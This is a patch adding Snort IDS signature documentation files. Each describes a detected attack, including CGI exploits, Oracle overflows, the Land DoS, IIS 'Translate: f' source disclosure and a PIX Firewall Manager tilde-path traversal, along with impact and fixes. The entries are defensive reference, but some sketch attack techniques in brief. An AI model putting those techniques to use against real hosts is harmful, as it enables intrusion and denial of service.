+++ snort-2.8.5.2/doc/signatures/1480.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1480
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3118.txt
+++ snort-2.8.5.2/doc/signatures/3118.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3118
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2836.txt
+++ snort-2.8.5.2/doc/signatures/2836.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2836
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure relocate_masterdef
+. This procedure is included in
+sys.dbms_repcat_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/269.txt
+++ snort-2.8.5.2/doc/signatures/269.txt
@@ -0,0 +1,75 @@
+Rule:
+--
+Sid:
+269
+
+--
+Summary:
+A denial of service attack known as Land has been launched. Some TCP/IP 
+stacks crash or hang when sent a spoofed TCP SYN packet with the same 
+source and destination host and the same source and destination port.  
+
+--
+Impact:
+Denial of service against a target host.
+
+--
+Detailed Information:
+The Land denial of service attack attempts to crash or disable a target 
+host by sending a spoofed TCP SYN packet with an identical source and 
+destination IP and identical source and destination port.  Some target 
+hosts will crash others will be temporarily disabled.  
+
+--
+Affected Systems:
+	Windows 95
+	Windows NT Any unpatched version 
+	SCO CMW+ 3.0
+	SCO Open Desktop/Open Server 3.0
+	SCO Open Server 5.0
+	SCO UnixWare 2.1.0
+	Gauntlet 3.2/HP-UX 10.10 and Gauntlet 4.1/HP-UX 10.20
+
+--
+Attack Scenarios:
+A malicious user crafts a packet to cause a Denial of Service against a 
+target host.
+
+--
+Ease of Attack:
+Simple to craft such a packet using any number of packet crafting tools 
+such as nmap and hping.
+
+
+--
+False Positives:
+None known.  This should have a very low likelihood of false positives.
+
+--
+False Negatives:
+The exploit code has an IP identification number and TCP sequence number
+of 3868.  If a user changes the source code to have a different IP 
+identification or TCP sequence number, the rule will not fire. 
+
+--
+Corrective Action:
+Malicious outside attacks can be prevented by configuring your 
+packet-filtering device to block packets from entering your network that
+have source IP's from your network address space. 
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+CAN-1999-0016
+
+CERT:
+CA-1997-28
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2907.txt
+++ snort-2.8.5.2/doc/signatures/2907.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2907
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_snapshot_repobject
+. This procedure is included in
+sys.dbms_repcat_sna.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1042.txt
+++ snort-2.8.5.2/doc/signatures/1042.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1042
+
+--
+Summary:
+This event is generated when an attempt is made to craft a URL
+containing the text 'Translate: f' in an attempt to view file source code.
+
+--
+Impact:
+Intelligence gathering.  This attack may permit disclosure of the source
+code of files not normally available for viewing.
+
+--
+Detailed Information:
+Microsoft Internet Information Services (IIS) 5.0 contains scripting
+engines to support various advanced files types such as .ASP and .HTR
+files.  This permits the execution of server-side processing.  IIS
+determines which scripting engine is appropriate to use depending on the
+file extension.  If an attacker crafts a URL request ending in
+'Translate: f' and followed by a slash '/', IIS fails to send the file
+to the appropriate scripting engine for processing.  Instead, it returns
+the source code of the referenced file to the browser.
+
+--
+Affected Systems:
+	Microsoft IIS 5.0
+
+--
+Attack Scenarios:
+An attacker can craft a URL to include the 'Translate: f' and followed
+by a '/' to disclose source code on the vulnerable server. 
+
+--
+Ease of Attack:
+Simple.  Attack scripts are freely available.
+
+--
+False Positives:
+Some Microsoft applications make use of the 'Translate: f' header and
+may cause this rule to generate an event. These include applications that use WebDAV
+for publishing content on a webserver such as Microsoft Outlook Web Access (OWA)
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patch.
+
+--
+Contributors:
+Original rule writer kinch@visto.com 
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+False positive information contributed by Javier Fernandez-Sanguino
+
+--
+Additional References:
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/MS00-058.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000423.txt
+++ snort-2.8.5.2/doc/signatures/100000423.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000423
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "DotWidget CMS" application running on a webserver. Access to the file "index.php" using a remote file being passed as the "file_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "file_path" parameter in the "index.php" script used by the "DotWidget CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using DotWidget CMS
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000414.txt
+++ snort-2.8.5.2/doc/signatures/100000414.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000414
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "REDAXO" application running on a webserver. Access to the file "community.inc.php" using a remote file being passed as the "REX[INCLUDE_PATH]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "REX[INCLUDE_PATH]" parameter in the "community.inc.php" script used by the "REDAXO" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using REDAXO
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2342.txt
+++ snort-2.8.5.2/doc/signatures/2342.txt
@@ -0,0 +1,63 @@
+Rule:  
+
+--
+Sid:
+2342
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application DCP-Portal.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+DCP-Portal contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating the variable root when 
+making a GET or POST  request  to a vulnerable system.
+
+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root by supplying
+their code in a file included from an external source by modifying the
+variable "root" in the editor.php script.
+
+--
+Affected Systems:
+	DCP-Portal 5.0.1
+
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and define their
+own path for the root variable.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <matthew.watchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2861.txt
+++ snort-2.8.5.2/doc/signatures/2861.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2861
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_priority_nchar
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2116.txt
+++ snort-2.8.5.2/doc/signatures/2116.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2116
+
+
+--
+Summary:
+This event is generated when an attempt is made to access the cgi script chipcfg.cgi.
+
+--
+Impact:
+Information gathering. This is an attempt to gain information about the network device and possibly other network information.
+
+--
+Detailed Information:
+The IPC@CHIP is used in network devices for remote access and configuration of the device. It includes an embedded web server, ftp server and telnet daemon.
+
+This could be an attempt to gain intelligence about the device confguration or information on the rest of the network the device is connected to.
+
+--
+Attack Scenarios:
+The attacker merely needs to make an HTTP GET request for the chipcfg.cgi script.
+
+--
+Ease of Attack:
+Simple HTTP GET.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+The script can be rmoved from the device by using the function CGI_REMOVE. Check vendor documentation for details.
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/2767
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-1341
+
+CERT:
+http://www.kb.cert.org/vuls/id/574739
+
+CGI Security:
+http://www.cgisecurity.com/archive/webservers/chip_multi_holes_and_webserver.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/827.txt
+++ snort-2.8.5.2/doc/signatures/827.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+827
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2501.txt
+++ snort-2.8.5.2/doc/signatures/2501.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2501
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000546.txt
+++ snort-2.8.5.2/doc/signatures/100000546.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000546
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "PHP Blue Dragon CMS" application running on a 
+webserver. Access to the file "rss_admin.php" using a remote file being passed 
+as the "DragonRootPath" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "DragonRootPath" parameter in the "rss_admin.php" script 
+used by the "PHP Blue Dragon CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHP Blue Dragon CMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/509.txt
+++ snort-2.8.5.2/doc/signatures/509.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+509
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/889.txt
+++ snort-2.8.5.2/doc/signatures/889.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+889
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1599.txt
+++ snort-2.8.5.2/doc/signatures/1599.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1599
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1858.txt
+++ snort-2.8.5.2/doc/signatures/1858.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+1858
+
+--
+Summary:
+This event is generated when an attempt is made to access a critical system file using a directory traversal technique.
+
+--
+Impact:
+Serious. Firewall management configuration files can be accessed. 
+ 
+--
+Detailed Information:
+The Windows filesystem still supports 8.3 filenames. PIX Firewall manager has a folder name with spaces and can be accessed using DOS-Tilde path format: C:/pixfir~1/ for example.
+
+Strict checking for this filename format is not performed by some PIX systems.
+
+--
+Affected Systems:
+Cisco PIX Firewall Manager 4.1.6
+Cisco PIX Firewall Manager 4.2.1
+
+Note: Versions 4.1.6b and 4.2.2 are not vulnerable to this attack.
+
+--
+Attack Scenarios:
+The attacker must have access to port 8181 (or 8080 sometimes). This is usually possible from internal network, so you have probably an internal host that is already compromised by an attacker or someone inside your company network attacks the PIX Firewall manager.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1924.txt
+++ snort-2.8.5.2/doc/signatures/1924.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1924
+
+--
+Summary:
+This event is generated when a request is made to Network File System (NFS) to list all file systems and which clients are permitted to mount each file system. 
+
+--
+Impact:
+Information disclosure.  This can allow an attacker to discover exported NFS file systems and client mount permissions.
+
+--
+Detailed Information:
+The mountd Remote Procedure Call (RPC) implements the NFS mount protocol.  When an NFS client requests a mount of an NFS file system, mountd examines the list of exported file systems.  If the NFS client is permitted access to the requested file system, mountd returns a file handle for the requested directory.  An attacker or legitimate NFS client may request a list of exported file systems and client mount permissions.
+
+--
+Affected Systems:
+All systems running NFS.
+
+--
+Attack Scenarios:
+An attacker may attempt to list the exported NFS file systems as a precursor to mounting them to read or change a specific file. 
+
+--
+Ease of Attack:
+Simple.   
+
+--
+False Positives:
+If a legitimate remote user is allowed to list exported NFS file systems, this rule may trigger.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+http://www.whitehats.com/info/IDS26
+
+--
--- snort-2.8.5.2.orig/doc/signatures/928.txt
+++ snort-2.8.5.2/doc/signatures/928.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+928
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a ColdFusion web server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Coldfusion. Many known vulnerabilities exist for this platform and 
+the attack scenarios are legion.
+
+--
+Affected Systems:
+	All systems running ColdFusion
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
